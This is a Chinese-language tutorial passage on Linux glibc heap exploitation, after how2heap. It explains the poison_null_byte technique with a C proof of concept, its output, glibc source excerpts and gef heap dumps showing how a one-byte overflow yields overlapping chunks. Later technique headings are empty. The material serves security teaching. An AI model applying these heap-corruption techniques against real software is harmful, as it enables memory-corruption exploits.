# 3.3.6 Linux 堆利用(中) - [how2heap](#how2heap) - [poison_null_byte](#poison_null_byte) - [house_of_lore](#house_of_lore) - [overlapping_chunks](#overlapping_chunks) - [overlapping_chunks_2](#overlapping_chunks_2) - [house_of_force](#house_of_force) - [unsorted_bin_attack](#unsorted_bin_attack) - [house_of_einherjar](#house_of_einherjar) - [house_of_orange](#house_of_orange) [下载文件](../src/Others/3.3.5_heap_exploit) #### poison_null_byte ```c #include #include #include #include #include int main() { uint8_t *a, *b, *c, *b1, *b2, *d; a = (uint8_t*) malloc(0x10); int real_a_size = malloc_usable_size(a); fprintf(stderr, "We allocate 0x10 bytes for 'a': %p\n", a); fprintf(stderr, "'real' size of 'a': %#x\n", real_a_size); b = (uint8_t*) malloc(0x100); c = (uint8_t*) malloc(0x80); fprintf(stderr, "b: %p\n", b); fprintf(stderr, "c: %p\n", c); uint64_t* b_size_ptr = (uint64_t*)(b - 0x8); *(size_t*)(b+0xf0) = 0x100; fprintf(stderr, "b.size: %#lx ((0x100 + 0x10) | prev_in_use)\n\n", *b_size_ptr); // deal with tcache // int *k[10], i; // for (i = 0; i < 7; i++) { // k[i] = malloc(0x100); // } // for (i = 0; i < 7; i++) { // free(k[i]); // } free(b); uint64_t* c_prev_size_ptr = ((uint64_t*)c) - 2; fprintf(stderr, "After free(b), c.prev_size: %#lx\n", *c_prev_size_ptr); a[real_a_size] = 0; // <--- THIS IS THE "EXPLOITED BUG" fprintf(stderr, "We overflow 'a' with a single null byte into the metadata of 'b'\n"); fprintf(stderr, "b.size: %#lx\n\n", *b_size_ptr); fprintf(stderr, "Pass the check: chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\n", *((size_t*)(b-0x8)), *(size_t*)(b-0x10 + *((size_t*)(b-0x8)))); b1 = malloc(0x80); memset(b1, 'A', 0x80); fprintf(stderr, "We malloc 'b1': %p\n", b1); fprintf(stderr, "c.prev_size: %#lx\n", *c_prev_size_ptr); fprintf(stderr, "fake c.prev_size: %#lx\n\n", *(((uint64_t*)c)-4)); b2 = malloc(0x40); memset(b2, 'A', 0x40); fprintf(stderr, "We malloc 'b2', our 'victim' chunk: %p\n", b2); // deal with tcache // for (i = 0; i < 7; i++) { // k[i] = malloc(0x80); // } // for (i = 0; i < 7; i++) { // free(k[i]); // } free(b1); free(c); fprintf(stderr, "Now we free 'b1' and 'c', this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').\n"); d = malloc(0x110); fprintf(stderr, "Finally, we allocate 'd', overlapping 'b2': %p\n\n", d); fprintf(stderr, "b2 content:%s\n", b2); memset(d, 'B', 0xb0); fprintf(stderr, "New b2 content:%s\n", b2); } ``` ``` $ gcc -g poison_null_byte.c $ ./a.out We allocate 0x10 bytes for 'a': 0xabb010 'real' size of 'a': 0x18 b: 0xabb030 c: 0xabb140 b.size: 0x111 ((0x100 + 0x10) | prev_in_use) After free(b), c.prev_size: 0x110 We overflow 'a' with a single null byte into the metadata of 'b' b.size: 0x100 Pass the check: chunksize(P) == 0x100 == 0x100 == prev_size (next_chunk(P)) We malloc 'b1': 0xabb030 c.prev_size: 0x110 fake c.prev_size: 0x70 We malloc 'b2', our 'victim' chunk: 0xabb0c0 Now we free 'b1' and 'c', this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2'). Finally, we allocate 'd', overlapping 'b2': 0xabb030 b2 content:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA New b2 content:BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ``` 该技术适用的场景需要某个 malloc 的内存区域存在一个单字节溢出漏洞。 首先分配三个 chunk,第一个 chunk 类型无所谓,但后两个不能是 fast chunk,因为 fast chunk 在释放后不会被合并。这里 chunk a 用于制造单字节溢出,去覆盖 chunk b 的第一个字节,chunk c 的作用是帮助伪造 fake chunk。 首先是溢出,那么就需要知道一个堆块实际可用的内存大小(因为空间复用,可能会比分配时要大一点),用于获得该大小的函数 `malloc_usable_size` 如下: ```c /* ------------------------- malloc_usable_size ------------------------- */ static size_t musable (void *mem) { mchunkptr p; if (mem != 0) { p = mem2chunk (mem); [...] if (chunk_is_mmapped (p)) return chunksize (p) - 2 * SIZE_SZ; else if (inuse (p)) return chunksize (p) - SIZE_SZ; } return 0; } ``` ```c /* check for mmap()'ed chunk */ #define chunk_is_mmapped(p) ((p)->size & IS_MMAPPED) /* extract p's inuse bit */ #define inuse(p) \ ((((mchunkptr) (((char *) (p)) + ((p)->size & ~SIZE_BITS)))->size) & PREV_INUSE) /* Get size, ignoring use bits */ #define chunksize(p) ((p)->size & ~(SIZE_BITS)) ``` 所以 `real_a_size = chunksize(a) - 0x8 == 0x18`。另外需要注意的是程序是通过 next chunk 的 `PREV_INUSE` 标志来判断某 chunk 是否被使用的。 为了在修改 chunk b 的 size 字段后,依然能通过 unlink 的检查,我们需要伪造一个 c.prev_size 字段,字段的大小是很好计算的,即 `0x100 == (0x111 & 0xff00)`,正好是 NULL 字节溢出后的值。然后把 chunk b 释放掉,chunk b 随后被放到 unsorted bin 中,大小是 0x110。此时的堆布局如下: ``` gef➤ x/42gx a-0x10 0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a 0x603010: 0x0000000000000000 0x0000000000000000 0x603020: 0x0000000000000000 0x0000000000000111 <-- chunk b [be freed] 0x603030: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer 0x603040: 0x0000000000000000 0x0000000000000000 0x603050: 0x0000000000000000 0x0000000000000000 0x603060: 0x0000000000000000 0x0000000000000000 0x603070: 0x0000000000000000 0x0000000000000000 0x603080: 0x0000000000000000 0x0000000000000000 0x603090: 0x0000000000000000 0x0000000000000000 0x6030a0: 0x0000000000000000 0x0000000000000000 0x6030b0: 0x0000000000000000 0x0000000000000000 0x6030c0: 0x0000000000000000 0x0000000000000000 0x6030d0: 0x0000000000000000 0x0000000000000000 0x6030e0: 0x0000000000000000 0x0000000000000000 0x6030f0: 0x0000000000000000 0x0000000000000000 0x603100: 0x0000000000000000 0x0000000000000000 0x603110: 0x0000000000000000 0x0000000000000000 0x603120: 0x0000000000000100 0x0000000000000000 <-- fake c.prev_size 0x603130: 0x0000000000000110 0x0000000000000090 <-- chunk c 0x603140: 0x0000000000000000 0x0000000000000000 gef➤ heap bins unsorted [ Unsorted Bin for arena 'main_arena' ] [+] unsorted_bins[0]: fw=0x603020, bk=0x603020 → Chunk(addr=0x603030, size=0x110, flags=PREV_INUSE) ``` 最关键的一步,通过溢出漏洞覆写 chunk b 的数据: ``` gef➤ x/42gx a-0x10 0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a 0x603010: 0x0000000000000000 0x0000000000000000 0x603020: 0x0000000000000000 0x0000000000000100 <-- chunk b [be freed] 0x603030: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer 0x603040: 0x0000000000000000 0x0000000000000000 0x603050: 0x0000000000000000 0x0000000000000000 0x603060: 0x0000000000000000 0x0000000000000000 0x603070: 0x0000000000000000 0x0000000000000000 0x603080: 0x0000000000000000 0x0000000000000000 0x603090: 0x0000000000000000 0x0000000000000000 0x6030a0: 0x0000000000000000 0x0000000000000000 0x6030b0: 0x0000000000000000 0x0000000000000000 0x6030c0: 0x0000000000000000 0x0000000000000000 0x6030d0: 0x0000000000000000 0x0000000000000000 0x6030e0: 0x0000000000000000 0x0000000000000000 0x6030f0: 0x0000000000000000 0x0000000000000000 0x603100: 0x0000000000000000 0x0000000000000000 0x603110: 0x0000000000000000 0x0000000000000000 0x603120: 0x0000000000000100 0x0000000000000000 <-- fake c.prev_size 0x603130: 0x0000000000000110 0x0000000000000090 <-- chunk c 0x603140: 0x0000000000000000 0x0000000000000000 gef➤ heap bins unsorted [ Unsorted Bin for arena 'main_arena' ] [+] unsorted_bins[0]: fw=0x603020, bk=0x603020 → Chunk(addr=0x603030, size=0x100, flags=) ``` 这时,根据我们上一篇文字中讲到的计算方法: - `chunksize(P) == *((size_t*)(b-0x8)) & (~ 0x7) == 0x100` - `prev_size (next_chunk(P)) == *(size_t*)(b-0x10 + 0x100) == 0x100` 可以成功绕过检查。另外 unsorted bin 中的 chunk 大小也变成了 0x100。 接下来随意分配两个 chunk,malloc 会从 unsorted bin 中划出合适大小的内存返回给用户: ``` gef➤ x/42gx a-0x10 0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a 0x603010: 0x0000000000000000 0x0000000000000000 0x603020: 0x0000000000000000 0x0000000000000091 <-- chunk b1 <-- fake chunk b 0x603030: 0x4141414141414141 0x4141414141414141 0x603040: 0x4141414141414141 0x4141414141414141 0x603050: 0x4141414141414141 0x4141414141414141 0x603060: 0x4141414141414141 0x4141414141414141 0x603070: 0x4141414141414141 0x4141414141414141 0x603080: 0x4141414141414141 0x4141414141414141 0x603090: 0x4141414141414141 0x4141414141414141 0x6030a0: 0x4141414141414141 0x4141414141414141 0x6030b0: 0x0000000000000000 0x0000000000000051 <-- chunk b2 <-- 'victim' chunk 0x6030c0: 0x4141414141414141 0x4141414141414141 0x6030d0: 0x4141414141414141 0x4141414141414141 0x6030e0: 0x4141414141414141 0x4141414141414141 0x6030f0: 0x4141414141414141 0x4141414141414141 0x603100: 0x0000000000000000 0x0000000000000021 <-- unsorted bin 0x603110: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer 0x603120: 0x0000000000000020 0x0000000000000000 <-- fake c.prev_size 0x603130: 0x0000000000000110 0x0000000000000090 <-- chunk c 0x603140: 0x0000000000000000 0x0000000000000000 gef➤ heap bins unsorted [ Unsorted Bin for arena 'main_arena' ] [+] unsorted_bins[0]: fw=0x603100, bk=0x603100 → Chunk(addr=0x603110, size=0x20, flags=PREV_INUSE) ``` 这里有个很有趣的东西,分配堆块后,发生变化的是 fake c.prev\_size,而不是 c.prev_size。所以 chunk c 依然认为 chunk b 的地方有一个大小为 0x110 的 free chunk。但其实这片内存已经被分配给了 chunk b1。 接下来是见证奇迹的时刻,我们知道,两个相邻的 small chunk 被释放后会被合并在一起。首先释放 chunk b1,伪造出 fake chunk b 是 free chunk 的样子。然后释放 chunk c,这时程序会发现 chunk c 的前一个 chunk 是一个 free chunk,然后就将它们合并在了一起,并从 unsorted bin 中取出来合并进了 top chunk。可怜的 chunk 2 位于 chunk b1 和 chunk c 之间,被直接无视了,现在 malloc 认为这整块区域都是未分配的,新的 top chunk 指针已经说明了一切。 ``` gef➤ x/42gx a-0x10 0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a 0x603010: 0x0000000000000000 0x0000000000000000 0x603020: 0x0000000000000000 0x0000000000020fe1 <-- top chunk 0x603030: 0x0000000000603100 0x00007ffff7dd1b78 0x603040: 0x4141414141414141 0x4141414141414141 0x603050: 0x4141414141414141 0x4141414141414141 0x603060: 0x4141414141414141 0x4141414141414141 0x603070: 0x4141414141414141 0x4141414141414141 0x603080: 0x4141414141414141 0x4141414141414141 0x603090: 0x4141414141414141 0x4141414141414141 0x6030a0: 0x4141414141414141 0x4141414141414141 0x6030b0: 0x0000000000000090 0x0000000000000050 <-- chunk b2 <-- 'victim' chunk 0x6030c0: 0x4141414141414141 0x4141414141414141 0x6030d0: 0x4141414141414141 0x4141414141414141 0x6030e0: 0x4141414141414141 0x4141414141414141 0x6030f0: 0x4141414141414141 0x4141414141414141 0x603100: 0x0000000000000000 0x0000000000000021 <-- unsorted bin 0x603110: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer 0x603120: 0x0000000000000020 0x0000000000000000 0x603130: 0x0000000000000110 0x0000000000000090 0x603140: 0x0000000000000000 0x0000000000000000 gef➤ heap bins unsorted [ Unsorted Bin for arena 'main_arena' ] [+] unsorted_bins[0]: fw=0x603100, bk=0x603100 → Chunk(addr=0x603110, size=0x20, flags=PREV_INUSE) ``` chunk 合并的过程如下,首先该 chunk 与前一个 chunk 合并,然后检查下一个 chunk 是否为 top chunk,如果不是,将合并后的 chunk 放回 unsorted bin 中,否则,合并进 top chunk: ```c /* consolidate backward */ if (!prev_inuse(p)) { prevsize = p->prev_size; size += prevsize; p = chunk_at_offset(p, -((long) prevsize)); unlink(av, p, bck, fwd); } if (nextchunk != av->top) { /* Place the chunk in unsorted chunk list. Chunks are not placed into regular bins until after they have been given one chance to be used in malloc. */ [...] } /* If the chunk borders the current high end of memory, consolidate into top */ else { size += nextsize; set_head(p, size | PREV_INUSE); av->top = p; check_chunk(av, p); } ``` 接下来,申请一块大空间,大到可以把 chunk b2 包含进来,这样 chunk b2 就完全被我们控制了。 ``` gef➤ x/42gx a-0x10 0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a 0x603010: 0x0000000000000000 0x0000000000000000 0x603020: 0x0000000000000000 0x0000000000000121 <-- chunk d 0x603030: 0x4242424242424242 0x4242424242424242 0x603040: 0x4242424242424242 0x4242424242424242 0x603050: 0x4242424242424242 0x4242424242424242 0x603060: 0x4242424242424242 0x4242424242424242 0x603070: 0x4242424242424242 0x4242424242424242 0x603080: 0x4242424242424242 0x4242424242424242 0x603090: 0x4242424242424242 0x4242424242424242 0x6030a0: 0x4242424242424242 0x4242424242424242 0x6030b0: 0x4242424242424242 0x4242424242424242 <-- chunk b2 <-- 'victim' chunk 0x6030c0: 0x4242424242424242 0x4242424242424242 0x6030d0: 0x4242424242424242 0x4242424242424242 0x6030e0: 0x4141414141414141 0x4141414141414141 0x6030f0: 0x4141414141414141 0x4141414141414141 0x603100: 0x0000000000000000 0x0000000000000021 <-- small bins 0x603110: 0x00007ffff7dd1b88 0x00007ffff7dd1b88 <-- fd, bk pointer 0x603120: 0x0000000000000020 0x0000000000000000 0x603130: 0x0000000000000110 0x0000000000000090 0x603140: 0x0000000000000000 0x0000000000020ec1 <-- top chunk gef➤ heap bins small [ Small Bins for arena 'main_arena' ] [+] small_bins[1]: fw=0x603100, bk=0x603100 → Chunk(addr=0x603110, size=0x20, flags=PREV_INUSE) ``` 还有个事情值得注意,在分配 chunk d 时,由于在 unsorted bin 中没有找到适合的 chunk,malloc 就将 unsorted bin 中的 chunk 都整理回各自的 bins 中了,这里就是 small bins。 最后,继续看 libc-2.26 上的情况,还是一样的,处理好 tchache 就可以了,把两种大小的 tcache bin 都占满。 heap-buffer-overflow,但不知道为什么,加了内存检测参数后,real size 只能是正常的 0x10 了。 ``` $ gcc -fsanitize=address -g poison_null_byte.c $ ./a.out We allocate 0x10 bytes for 'a': 0x60200000eff0 'real' size of 'a': 0x10 b: 0x611000009f00 c: 0x60c00000bf80 ================================================================= ==2369==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x611000009ef8 at pc 0x000000400be0 bp 0x7ffe7826e9a0 sp 0x7ffe7826e990 READ of size 8 at 0x611000009ef8 thread T0 #0 0x400bdf in main /home/firmy/how2heap/poison_null_byte.c:22 #1 0x7f47d8fe382f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #2 0x400978 in _start (/home/firmy/how2heap/a.out+0x400978) 0x611000009ef8 is located 8 bytes to the left of 256-byte region [0x611000009f00,0x61100000a000) allocated by thread T0 here: #0 0x7f47d9425602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602) #1 0x400af1 in main /home/firmy/how2heap/poison_null_byte.c:15 #2 0x7f47d8fe382f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) ``` #### house_of_lore #### overlapping_chunks #### overlapping_chunks_2 #### house_of_force #### unsorted_bin_attack #### house_of_einherjar #### house_of_orange